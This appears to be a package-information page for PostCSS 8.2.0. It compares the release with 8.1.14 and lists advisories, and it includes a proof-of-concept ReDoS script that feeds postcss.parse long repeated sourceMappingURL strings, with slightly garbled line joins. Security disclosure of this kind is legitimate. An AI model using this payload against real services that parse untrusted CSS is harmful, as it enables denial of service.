PostCSS 8.2.0 represents a minor version update to the popular CSS transformation tool, building upon the foundation laid by its predecessor, version 8.1.14. While both versions share core functionalities, including the use of JavaScript plugins to manipulate styles, subtle differences exist that could influence a developer's decision to upgrade. Both versions rely on the same core dependencies like nanoid, colorette and source-map. A key area of distinction lies in distribution details, the newer version boasts a slightly larger unpacked size (202405 bytes compared to 199843 bytes) and a greater number of files included in the package (50 vs 48), suggesting potential refinements or additions to internal modules or documentation. Developers may find value in these changes, for various reasons, from enhanced performance through code optimization to improved clarity through updated documentation. This added weight could signify bug fixes or improved features not present in the prior iteration. Considering also the release data indicates a four-day interval between the two versions, likely fixes to recent bugs. For projects aiming for stability or requiring specific features present in 8.2.0, the upgrade is a straightforward path forward. However, developers should always test updates in development environments before deployment to production environments.
All the vulnerabilities related to the version 8.2.0 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.